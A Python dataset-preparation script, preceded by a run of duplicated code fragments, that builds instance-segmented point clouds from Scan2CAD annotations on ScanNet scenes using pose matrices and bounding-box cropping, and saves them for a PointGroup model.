instance_vertices[vert_choices] = k # (0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices]", "CHUNK_SIZE = 1000 INF = 9999 NOT_CARED_ID = np.array([INF]) #", "# DUMP COLLECT RESULTS if dump: scene_path = os.path.join(collect_path, f'{id_scan}')", "Text # Anchor collection (for detection) print_log(\" LOADING SCENES\") collect_path", "seg_points.shape[0] # ======= Semantic/Instance vertices ======= if seg_nx < SEG_THRESHOLD:", "as f: self.scan_list = f.read().splitlines() # remove unavailiable scans num_scans", "self.scan_names.append(i_scan) i += 1 d[i] = {} d[i]['id_scan'] = i_scan", "if seg_nx < SEG_THRESHOLD: k -= 1 checked = True", "3} # functions ============================================================================================== def from_q_to_6d(q): q = np.quaternion(q[0], q[1],", "cat_id = r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] = cat_id cat_class = DC.ShapenetIDtoClass(cat_id)", "sem_cls = data['models'][model]['sem_cls'] # (0~num_classes-1) # Transform obj_center = np.array(data['models'][model]['center'])", "= np.ascontiguousarray(point_cloud[:, :3] - point_cloud[:, :3].mean(0)) pcoord = point_cloud.astype(np.float64) colors", "6 return rep6d def nn_search(p, ps): target = torch.from_numpy(ps.copy()) p", "i_scan not in self.scan_list: continue self.scan_names.append(i_scan) i += 1 d[i]", "a dictionary for verts-cad_file pairs \"\"\" # ======= GLOBAL LABEL", "in ['all', 'train', 'val', 'test']: split_filenames = os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set))", "# (N, sem_cls(0, 1~35, 36~MAX, INF)) point_cloud = mesh_vertices[:,0:3] colors", "os.mkdir(scene_path) print(\"Created scene directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K, bboxes=None, file_path=scene_path)", "+ '_sem_label.npy') # (N, sem_cls(0, 1~35, 36~MAX, INF)) point_cloud =", "0: continue # ignore non-valid class object (only preserve CARED", "s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels, sem_cls+1, NOT_CARED_ID) seg_nx = seg_points.shape[0] # =======", "0:3] = quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3, 0:3] = np.diag(s)", "DUMP ============ # scene data file_path = os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord,", "Crop & Axis-aligned Bounding Box vert_choices = np.array([]) ins_bbox =", "sys import json import h5py import numpy as np import", "= {} d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] =", "for verts-cad_file pairs \"\"\" # ======= GLOBAL LABEL VARIABLES =======", "print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class Scan2CADCollect(Dataset): def __init__(self, split_set='train', distr_check=False): self.data_path", "r[\"n_aligned_models\"] d[i]['n_total'] = n_model d[i]['models'] = {} for j in", "obj_rotation, obj_scale, obj_center) # Instance vertices # - (1) Region", "= True if scale[2] < SCALE_THRASHOLD: scale[2] = SCALE_THRASHOLD check", "* (-1) # Sorting points cropping order to avoid overlapping", "as np import quaternion import torch from torch.utils.data import Dataset", "RESULTS if dump: scene_path = os.path.join(collect_path, f'{id_scan}') if not os.path.exists(scene_path):", "d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname']", "- p p_dist = torch.sum(p_diff**2, dim=-1) dist, idx = torch.min(p_dist,", "False k = -1 for i, model in enumerate(model_scale_order.keys()): k", "from s2c_config import Scan2CADDatasetConfig import s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC =", "3x3 rep6d = mat[:, 0:2].transpose().reshape(-1, 6) # 6 return rep6d", "SCALE_THRASHOLD: scale[1] = SCALE_THRASHOLD check = True if scale[2] <", "scan with open(self.out_path+'/error_scan.txt', 'w') as f: print_log(\"ERROR SCAN\") for i,", "scale in sorted(sort_by_scale.items(), key=(lambda item:item[1]), reverse=True)} K = len(model_scale_order.keys()) #", "ex_points, obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx = ex_points.shape[0] # -", "# dataset ROOT_DIR = os.path.dirname(BASE_DIR) # PointGroup DATA_DIR = os.path.dirname(ROOT_DIR)", "/= sx R[:,1] /= sy R[:,2] /= sz q =", "of {verts(x,y,z): cad filename} Note: NK = a total number", "name') return filename_json = BASE_DIR_1 + \"/full_annotations.json\" assert filename_json self.dataset", "scale, id_scan, sem_cls): check = False if scale[0] < SCALE_THRASHOLD:", "for model, scale in sorted(sort_by_scale.items(), key=(lambda item:item[1]), reverse=True)} K =", "2048 FEATURE_DIMENSION = 512 MAX_DATA_SIZE = 15000 CHUNK_SIZE = 1000", "2, \"__SYM_ROTATE_UP_INF\": 3} # functions ============================================================================================== def from_q_to_6d(q): q =", "with open(filename_json, 'r') as f: data = json.load(f) d =", "np.array(data['models'][model]['trs']['translation']) obj_rotation = np.array(data['models'][model]['trs']['rotation']) obj_scale = np.array(data['models'][model]['trs']['scale']) obj_scale = self.size_check(obj_scale,", "= np.array(data['models'][model]['trs']['scale']) obj_scale = self.size_check(obj_scale, id_scan, sem_cls) Mobj = compose_mat4(obj_translation,", "dataset ROOT_DIR = os.path.dirname(BASE_DIR) # PointGroup DATA_DIR = os.path.dirname(ROOT_DIR) #", "# Point Cloud mesh_vertices = np.load(os.path.join(self.data_path, id_scan) + '_vert.npy') #", "< 0: continue # ignore non-valid class object (only preserve", "d[i]['id_scan'] = i_scan d[i]['trs'] = r[\"trs\"] n_model = r[\"n_aligned_models\"] d[i]['n_total']", "Region Crop & Axis-aligned Bounding Box vert_choices = np.array([]) ins_bbox", "{}: kept {} scans out of {}'.format(split_set, len(self.scan_list), num_scans)) num_scans", "d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad'] cat_id", "split_set in ['all', 'train', 'val', 'test']: split_filenames = os.path.join(BASE_DIR_1, 'meta_data',", "os.path.join(BASE_DIR, 'collect') for index in range(N): data = self.dataset[index] id_scan", "len(self.dataset) def size_check(self, scale, id_scan, sem_cls): check = False if", "{id_scan} >>> {file_path}\") # error scan with open(self.out_path+'/error_scan.txt', 'w') as", "in range(K): obj_scale = np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] = np.sum(obj_scale) model_scale_order =", "V = a number of vertices args: N: int a", "FEATURE_DIMENSION = 512 MAX_DATA_SIZE = 15000 CHUNK_SIZE = 1000 INF", "np.array([INF]) # wall, floor # Thresholds PADDING = 0.05 SCALE_THRASHOLD", "R[:,0] /= sx R[:,1] /= sy R[:,2] /= sz q", "scale[0] = SCALE_THRASHOLD check = True if scale[1] < SCALE_THRASHOLD:", "3) a dictionary for verts-cad_file pairs \"\"\" # ======= GLOBAL", "order to avoid overlapping sort_by_scale = {} for model in", "os.path.dirname(ROOT_DIR) # /root/ DATA_DIR = os.path.join(DATA_DIR, 'Dataset') # /root/Dataset DUMP_DIR", "not None: C[0:3, 3] = center M = T.dot(R).dot(S).dot(C) return", "a total number of instances in dataset V = a", "= M[0:3, 3] return t, q, s # ======================================================================================================== LOG_N", "sort_by_scale = {} for model in range(K): obj_scale = np.array(data['models'][model]['trs']['scale'])", "import torch from torch.utils.data import Dataset BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) #", "q[2], q[3]) mat = quaternion.as_rotation_matrix(q) # 3x3 rep6d = mat[:,", "0:3].copy() sx = np.linalg.norm(R[0:3, 0]) sy = np.linalg.norm(R[0:3, 1]) sz", "= np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) # Sorting points cropping order", "SCALE_THRASHOLD check = True return scale def collect(self, N, dump=False):", "instance_vertices.astype(np.float64) # ============ DUMP ============ # scene data file_path =", "<gh_stars>0 # <NAME>, UVR KAIST @<EMAIL> import os, sys import", "= 2048 FEATURE_DIMENSION = 512 MAX_DATA_SIZE = 15000 CHUNK_SIZE =", "print(\"Create export directory: {}\".format(self.out_path)) all_scan_names = list(set([os.path.basename(x)[0:12] \\ for x", "v in sorted(cat_summary.items(), key=lambda item:item[1], reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s} => {v:4d}')", "M[0:3, 3] return t, q, s # ======================================================================================================== LOG_N =", "for x in os.listdir(self.data_path) if x.startswith('scene')])) self.scan_names = [] if", "list(set([os.path.basename(x)[0:12] \\ for x in os.listdir(self.data_path) if x.startswith('scene')])) self.scan_names =", "Scan2CADDatasetConfig() MAX_NUM_POINT = 50000 MAX_NUM_OBJ = 64 INS_NUM_POINT = 2048", "= np.array([INF]) # wall, floor # Thresholds PADDING = 0.05", "# Transform obj_center = np.array(data['models'][model]['center']) obj_translation = np.array(data['models'][model]['trs']['translation']) obj_rotation =", "= os.path.dirname(BASE_DIR_1) # dataset ROOT_DIR = os.path.dirname(BASE_DIR) # PointGroup DATA_DIR", "s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K, bboxes=None, file_path=scene_path) point_cloud = np.ascontiguousarray(point_cloud[:, :3] -", "return: dict: (NK, 1, V, 3) a dictionary for verts-cad_file", "BASE_DIR_1 + \"/full_annotations.json\" assert filename_json self.dataset = {} cat_summary =", "= list(set([os.path.basename(x)[0:12] \\ for x in os.listdir(self.data_path) if x.startswith('scene')])) self.scan_names", "s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC = Scan2CADDatasetConfig() MAX_NUM_POINT = 50000 MAX_NUM_OBJ", "model, scale in sorted(sort_by_scale.items(), key=(lambda item:item[1]), reverse=True)} K = len(model_scale_order.keys())", "error check ins_list = np.unique(instance_vertices) if (np.max(instance_vertices)+1) != (len(ins_list)-1): print_log(f\"[{index}/{N}", "\"__main__\": Dataset = Scan2CADCollect(split_set='all', distr_check=True) N = len(Dataset) Dataset.collect(N, dump=False)", "-1 for i, model in enumerate(model_scale_order.keys()): k += 1 #", "= -1 for idx, r in enumerate(data): i_scan = r[\"id_scan\"]", "= len(self.scan_list) self.scan_list = [sname for sname in self.scan_list \\", "d self.cat_ids = np.unique(cat_ids) if distr_check: for k, v in", "np.quaternion(q[0], q[1], q[2], q[3]) T = np.eye(4) T[0:3, 3] =", "json.load(f) d = {} i = -1 for idx, r", "\\ if sname in all_scan_names] print_log('Dataset for {}: kept {}", "r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']]", "'_vert.npy') # (N, 3) semantic_labels = np.load(os.path.join(self.data_path, id_scan) + '_sem_label.npy')", "key=lambda item:item[1], reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s} => {v:4d}') def __len__(self): return", "from_q_to_6d(q): q = np.quaternion(q[0], q[1], q[2], q[3]) mat = quaternion.as_rotation_matrix(q)", "os.listdir(self.data_path) if x.startswith('scene')])) self.scan_names = [] if split_set in ['all',", "= i print(f'REMAPPER[{x:2d}] => {i:2d}') SYM2CLASS = {\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\":", "sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from s2c_map import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK from s2c_config", "obj_center = np.array(data['models'][model]['center']) obj_translation = np.array(data['models'][model]['trs']['translation']) obj_rotation = np.array(data['models'][model]['trs']['rotation']) obj_scale", "VARIABLES ======= error_scan = {} # Text # Anchor collection", "vertices ======= if seg_nx < SEG_THRESHOLD: k -= 1 checked", "json import h5py import numpy as np import quaternion import", "not in self.scan_list: continue self.scan_names.append(i_scan) i += 1 d[i] =", "= quaternion.from_rotation_matrix(R[0:3, 0:3]) t = M[0:3, 3] return t, q,", "size of dataset return: dict: (NK, 1, V, 3) a", "filename_json = BASE_DIR_1 + \"/full_annotations.json\" assert filename_json self.dataset = {}", "__len__(self): return len(self.dataset) def size_check(self, scale, id_scan, sem_cls): check =", "= 1 REMAPPER = np.ones(35, dtype=np.int64) * (-1) for i,", "+ '_vert.npy') # (N, 3) semantic_labels = np.load(os.path.join(self.data_path, id_scan) +", "np.array([]) ins_bbox = np.array(data['models'][model]['bbox']) obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING) ex_points,", "from s2c_map import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK from s2c_config import Scan2CADDatasetConfig", "SCALE_THRASHOLD check = True if scale[1] < SCALE_THRASHOLD: scale[1] =", "np.ascontiguousarray(point_cloud[:, :3] - point_cloud[:, :3].mean(0)) pcoord = point_cloud.astype(np.float64) colors =", "p_dist = torch.sum(p_diff**2, dim=-1) dist, idx = torch.min(p_dist, dim=-1) return", "= f.read().splitlines() # remove unavailiable scans num_scans = len(self.scan_list) self.scan_list", "(len(ins_list)-1): print_log(f\"[{index}/{N} Error] Please check this scene --> {id_scan}\") error_scan[id_scan]", "k, v in sorted(cat_summary.items(), key=lambda item:item[1], reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s} =>", "if center is not None: C[0:3, 3] = center M", "k = -1 for i, model in enumerate(model_scale_order.keys()): k +=", "= torch.from_numpy(p.copy()) p_diff = target - p p_dist = torch.sum(p_diff**2,", "continue # ignore non-valid class object (only preserve CARED classes)", "quaternion.as_rotation_matrix(q) # 3x3 rep6d = mat[:, 0:2].transpose().reshape(-1, 6) # 6", "enumerate(CARED_CLASS_MASK): REMAPPER[x] = i print(f'REMAPPER[{x:2d}] => {i:2d}') SYM2CLASS = {\"__SYM_NONE\":", "if __name__ == \"__main__\": Dataset = Scan2CADCollect(split_set='all', distr_check=True) N =", "cat_class = DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] = cat_class # category summary cat_summary[cat_class]+=1", "============ DUMP ============ # scene data file_path = os.path.join(self.out_path, id_scan+'_inst.pth')", "target = torch.from_numpy(ps.copy()) p = torch.from_numpy(p.copy()) p_diff = target -", "M = T.dot(R).dot(S).dot(C) return M def decompose_mat4(M): R = M[0:3,", "obj_rotation = np.array(data['models'][model]['trs']['rotation']) obj_scale = np.array(data['models'][model]['trs']['scale']) obj_scale = self.size_check(obj_scale, id_scan,", "= sem_cls # (0~num_classes-1) NOTE:unannotated=-1 # error check ins_list =", "'Scan2CAD/export') self.out_path = os.path.join(BASE_DIR_1, 'data4') if not os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create", "M def decompose_mat4(M): R = M[0:3, 0:3].copy() sx = np.linalg.norm(R[0:3,", "SEG_THRESHOLD: k -= 1 checked = True continue sem_cls =", "scale for model, scale in sorted(sort_by_scale.items(), key=(lambda item:item[1]), reverse=True)} K", "R = np.eye(4) R[0:3, 0:3] = quaternion.as_rotation_matrix(q) S = np.eye(4)", "sz = np.linalg.norm(R[0:3, 2]) s = np.array([sx, sy, sz]) R[:,0]", "= os.path.join(DATA_DIR, 'Scan2CAD/export') self.out_path = os.path.join(BASE_DIR_1, 'data4') if not os.path.exists(self.out_path):", "= os.path.join(BASE_DIR_1, 'data4') if not os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create export directory:", "seg_nx < SEG_THRESHOLD: k -= 1 checked = True continue", "__name__ == \"__main__\": Dataset = Scan2CADCollect(split_set='all', distr_check=True) N = len(Dataset)", "dtype=np.int64) * (-1) # Sorting points cropping order to avoid", "S = np.eye(4) S[0:3, 0:3] = np.diag(s) M = T.dot(R).dot(S)", "R[:,2] /= sz q = quaternion.from_rotation_matrix(R[0:3, 0:3]) t = M[0:3,", "\\n'+'-'*LOG_N) class Scan2CADCollect(Dataset): def __init__(self, split_set='train', distr_check=False): self.data_path = os.path.join(DATA_DIR,", "# category summary cat_summary[cat_class]+=1 self.dataset = d self.cat_ids = np.unique(cat_ids)", ":3].mean(0)) pcoord = point_cloud.astype(np.float64) colors = colors.astype(np.float32) sem_labels = semantic_vertices.astype(np.float64)", "mat[:, 0:2].transpose().reshape(-1, 6) # 6 return rep6d def nn_search(p, ps):", "all_scan_names = list(set([os.path.basename(x)[0:12] \\ for x in os.listdir(self.data_path) if x.startswith('scene')]))", "= dict.fromkeys(DC.ClassToName, 0) cat_ids = [] with open(filename_json, 'r') as", "len(self.scan_list) self.scan_list = [sname for sname in self.scan_list \\ if", "# error scan with open(self.out_path+'/error_scan.txt', 'w') as f: print_log(\"ERROR SCAN\")", "R = M[0:3, 0:3].copy() sx = np.linalg.norm(R[0:3, 0]) sy =", "# Thresholds PADDING = 0.05 SCALE_THRASHOLD = 0.05 SEG_THRESHOLD =", "scale[2] < SCALE_THRASHOLD: scale[2] = SCALE_THRASHOLD check = True return", "= json.load(f) d = {} i = -1 for idx,", "not os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create export directory: {}\".format(self.out_path)) all_scan_names = list(set([os.path.basename(x)[0:12]", "= 0 continue # DUMP COLLECT RESULTS if dump: scene_path", "R[0:3, 0:3] = quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3, 0:3] =", "False if scale[0] < SCALE_THRASHOLD: scale[0] = SCALE_THRASHOLD check =", "os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from s2c_map import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK", "ps): target = torch.from_numpy(ps.copy()) p = torch.from_numpy(p.copy()) p_diff = target", "S = np.eye(4) S[0:3, 0:3] = np.diag(s) C = np.eye(4)", "Cloud mesh_vertices = np.load(os.path.join(self.data_path, id_scan) + '_vert.npy') # (N, 3)", "np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] = np.sum(obj_scale) model_scale_order = {model: scale for model,", "if not os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created scene directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices,", "obj_vert_ind, semantic_labels, sem_cls+1, NOT_CARED_ID) seg_nx = seg_points.shape[0] # ======= Semantic/Instance", "100 def print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class Scan2CADCollect(Dataset): def __init__(self, split_set='train',", "np.quaternion): q = np.quaternion(q[0], q[1], q[2], q[3]) T = np.eye(4)", "= data['n_total'] assert(K <= MAX_NUM_OBJ) # Point Cloud mesh_vertices =", "for k, v in sorted(cat_summary.items(), key=lambda item:item[1], reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s}", "directory: {}\".format(self.out_path)) all_scan_names = list(set([os.path.basename(x)[0:12] \\ for x in os.listdir(self.data_path)", "= 9999 NOT_CARED_ID = np.array([INF]) # wall, floor # Thresholds", "np.unique(instance_vertices) if (np.max(instance_vertices)+1) != (len(ins_list)-1): print_log(f\"[{index}/{N} Error] Please check this", "= T.dot(R).dot(S).dot(C) return M def decompose_mat4(M): R = M[0:3, 0:3].copy()", "scans num_scans = len(self.scan_list) self.scan_list = [sname for sname in", "q, s): q = np.quaternion(q[0], q[1], q[2], q[3]) T =", "model in range(K): obj_scale = np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] = np.sum(obj_scale) model_scale_order", "self.size_check(obj_scale, id_scan, sem_cls) Mobj = compose_mat4(obj_translation, obj_rotation, obj_scale, obj_center) #", "{} cat_summary = dict.fromkeys(DC.ClassToName, 0) cat_ids = [] with open(filename_json,", "s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING) ex_points, obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx =", "# (0~num_classes-1) NOTE:unannotated=-1 # error check ins_list = np.unique(instance_vertices) if", "= True if scale[1] < SCALE_THRASHOLD: scale[1] = SCALE_THRASHOLD check", "= REMAPPER[sem_cls] # if sem_cls < 0: continue # ignore", "not os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created scene directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K,", "print('{:2d}: {}'.format(i, sname)) f.write(sname) f.write('\\n') if __name__ == \"__main__\": Dataset", "dist.item(), idx.item() def make_M_from_tqs(t, q, s): q = np.quaternion(q[0], q[1],", "= T.dot(R).dot(S) return M def compose_mat4(t, q, s, center=None): if", "dict: (NK, 1, V, 3) a dictionary for verts-cad_file pairs", "(0~num_classes-1) NOTE:unannotated=-1 # error check ins_list = np.unique(instance_vertices) if (np.max(instance_vertices)+1)", "make_M_from_tqs(t, q, s): q = np.quaternion(q[0], q[1], q[2], q[3]) T", "distr_check: for k, v in sorted(cat_summary.items(), key=lambda item:item[1], reverse=True): print(f'{k:2d}:", "num_scans = len(self.scan_list) self.scan_list = [sname for sname in self.scan_list", "reverse=True)} K = len(model_scale_order.keys()) # Iterate on scale_order checked =", "<NAME>, UVR KAIST @<EMAIL> import os, sys import json import", "0]) sy = np.linalg.norm(R[0:3, 1]) sz = np.linalg.norm(R[0:3, 2]) s", "= np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) semantic_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) *", "compose_mat4(obj_translation, obj_rotation, obj_scale, obj_center) # Instance vertices # - (1)", "a size of dataset return: dict: (NK, 1, V, 3)", "seg_points, vert_choices = \\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels, sem_cls+1, NOT_CARED_ID) seg_nx", "0) cat_ids = [] with open(filename_json, 'r') as f: data", "= r[\"n_aligned_models\"] d[i]['n_total'] = n_model d[i]['models'] = {} for j", "======================================================================================================== LOG_N = 100 def print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class Scan2CADCollect(Dataset):", "if scale[1] < SCALE_THRASHOLD: scale[1] = SCALE_THRASHOLD check = True", "in range(N): data = self.dataset[index] id_scan = data['id_scan'] K =", "= quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3, 0:3] = np.diag(s) C", "\\ for x in os.listdir(self.data_path) if x.startswith('scene')])) self.scan_names = []", "0.05 SCALE_THRASHOLD = 0.05 SEG_THRESHOLD = 1 REMAPPER = np.ones(35,", "LOG_N = 100 def print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class Scan2CADCollect(Dataset): def", "i, model in enumerate(model_scale_order.keys()): k += 1 # semantics ()", "Instance vertices # - (1) Region Crop & Axis-aligned Bounding", "filename_json self.dataset = {} cat_summary = dict.fromkeys(DC.ClassToName, 0) cat_ids =", "dataset return: dict: (NK, 1, V, 3) a dictionary for", "= \\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels, sem_cls+1, NOT_CARED_ID) seg_nx = seg_points.shape[0]", "DATA_DIR = os.path.join(DATA_DIR, 'Dataset') # /root/Dataset DUMP_DIR = os.path.join(ROOT_DIR, 'data')", "N, dump=False): \"\"\" Return dictionary of {verts(x,y,z): cad filename} Note:", "all_scan_names] print_log('Dataset for {}: kept {} scans out of {}'.format(split_set,", "category summary cat_summary[cat_class]+=1 self.dataset = d self.cat_ids = np.unique(cat_ids) if", "/ 127.5 - 1 instance_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1)", "scene_path = os.path.join(collect_path, f'{id_scan}') if not os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created scene", "= np.diag(s) M = T.dot(R).dot(S) return M def compose_mat4(t, q,", "s2c_config import Scan2CADDatasetConfig import s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC = Scan2CADDatasetConfig()", "# ======= GLOBAL LABEL VARIABLES ======= error_scan = {} #", "Note: NK = a total number of instances in dataset", "enumerate(data): i_scan = r[\"id_scan\"] if i_scan not in self.scan_list: continue", "/root/Dataset DUMP_DIR = os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR) from s2c_map import", "sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC = Scan2CADDatasetConfig() MAX_NUM_POINT = 50000 MAX_NUM_OBJ =", "rep6d = mat[:, 0:2].transpose().reshape(-1, 6) # 6 return rep6d def", "import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK from s2c_config import Scan2CADDatasetConfig import s2c_utils", "center M = T.dot(R).dot(S).dot(C) return M def decompose_mat4(M): R =", "= r[\"id_scan\"] if i_scan not in self.scan_list: continue self.scan_names.append(i_scan) i", "dtype=np.int64) * (-1) semantic_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) #", "REMAPPER[sem_cls] # if sem_cls < 0: continue # ignore non-valid", "= ex_points.shape[0] # - (2) Instance Segments Crop seg_points, vert_choices", "torch.sum(p_diff**2, dim=-1) dist, idx = torch.min(p_dist, dim=-1) return dist.item(), idx.item()", "= data['models'][model]['sem_cls'] # (0~num_classes-1) # Transform obj_center = np.array(data['models'][model]['center']) obj_translation", "check this scene --> {id_scan}\") error_scan[id_scan] = 0 continue #", "sem_labels, ins_labels), file_path) print(f\"[{index}/{N} Saved] {id_scan} >>> {file_path}\") # error", "avoid overlapping sort_by_scale = {} for model in range(K): obj_scale", "dictionary of {verts(x,y,z): cad filename} Note: NK = a total", "== \"__main__\": Dataset = Scan2CADCollect(split_set='all', distr_check=True) N = len(Dataset) Dataset.collect(N,", "data['id_scan'] K = data['n_total'] assert(K <= MAX_NUM_OBJ) # Point Cloud", "# /root/ DATA_DIR = os.path.join(DATA_DIR, 'Dataset') # /root/Dataset DUMP_DIR =", "pairs \"\"\" # ======= GLOBAL LABEL VARIABLES ======= error_scan =", "======= if seg_nx < SEG_THRESHOLD: k -= 1 checked =", "if dump: scene_path = os.path.join(collect_path, f'{id_scan}') if not os.path.exists(scene_path): os.mkdir(scene_path)", "d[i]['models'][j]['sem_cls'] = cat_class # category summary cat_summary[cat_class]+=1 self.dataset = d", "obj_translation = np.array(data['models'][model]['trs']['translation']) obj_rotation = np.array(data['models'][model]['trs']['rotation']) obj_scale = np.array(data['models'][model]['trs']['scale']) obj_scale", "assert filename_json self.dataset = {} cat_summary = dict.fromkeys(DC.ClassToName, 0) cat_ids", "Saved] {id_scan} >>> {file_path}\") # error scan with open(self.out_path+'/error_scan.txt', 'w')", "from torch.utils.data import Dataset BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) # scan2cad BASE_DIR", "'scan2cad_{}.txt'.format(split_set)) with open(split_filenames, 'r') as f: self.scan_list = f.read().splitlines() #", "['all', 'train', 'val', 'test']: split_filenames = os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set)) with", "dump=False): \"\"\" Return dictionary of {verts(x,y,z): cad filename} Note: NK", "K = data['n_total'] assert(K <= MAX_NUM_OBJ) # Point Cloud mesh_vertices", "= instance_vertices.astype(np.float64) # ============ DUMP ============ # scene data file_path", "os.path.exists(scene_path): os.mkdir(scene_path) print(\"Created scene directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K, bboxes=None,", "# (0~num_classes-1) # Transform obj_center = np.array(data['models'][model]['center']) obj_translation = np.array(data['models'][model]['trs']['translation'])", "[] if split_set in ['all', 'train', 'val', 'test']: split_filenames =", "\"\"\" Return dictionary of {verts(x,y,z): cad filename} Note: NK =", "n_model d[i]['models'] = {} for j in range(n_model): d[i]['models'][j] =", "NOT_CARED_ID = np.array([INF]) # wall, floor # Thresholds PADDING =", "= 100 def print_log(log): print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class Scan2CADCollect(Dataset): def __init__(self,", "M def compose_mat4(t, q, s, center=None): if not isinstance(q, np.quaternion):", "dataset V = a number of vertices args: N: int", "r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] = cat_id cat_class = DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] =", "cat_summary = dict.fromkeys(DC.ClassToName, 0) cat_ids = [] with open(filename_json, 'r')", "ins_bbox = np.array(data['models'][model]['bbox']) obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING) ex_points, obj_vert_ind", "Please check this scene --> {id_scan}\") error_scan[id_scan] = 0 continue", "q, s, center=None): if not isinstance(q, np.quaternion): q = np.quaternion(q[0],", "for idx, r in enumerate(data): i_scan = r[\"id_scan\"] if i_scan", "def collect(self, N, dump=False): \"\"\" Return dictionary of {verts(x,y,z): cad", "512 MAX_DATA_SIZE = 15000 CHUNK_SIZE = 1000 INF = 9999", "0:3] = np.diag(s) C = np.eye(4) if center is not", "{verts(x,y,z): cad filename} Note: NK = a total number of", "= seg_points.shape[0] # ======= Semantic/Instance vertices ======= if seg_nx <", "= {} # Text # Anchor collection (for detection) print_log(\"", "1 checked = True continue sem_cls = REMAPPER[sem_cls] # if", "in self.scan_list: continue self.scan_names.append(i_scan) i += 1 d[i] = {}", "() sem_cls = data['models'][model]['sem_cls'] # (0~num_classes-1) # Transform obj_center =", "= {} i = -1 for idx, r in enumerate(data):", "= mesh_vertices[:,0:3] colors = mesh_vertices[:,3:6] / 127.5 - 1 instance_vertices", "0:3]) t = M[0:3, 3] return t, q, s #", "error_scan[id_scan] = 0 continue # DUMP COLLECT RESULTS if dump:", "rep6d def nn_search(p, ps): target = torch.from_numpy(ps.copy()) p = torch.from_numpy(p.copy())", "s): q = np.quaternion(q[0], q[1], q[2], q[3]) T = np.eye(4)", "ins_labels = instance_vertices.astype(np.float64) # ============ DUMP ============ # scene data", 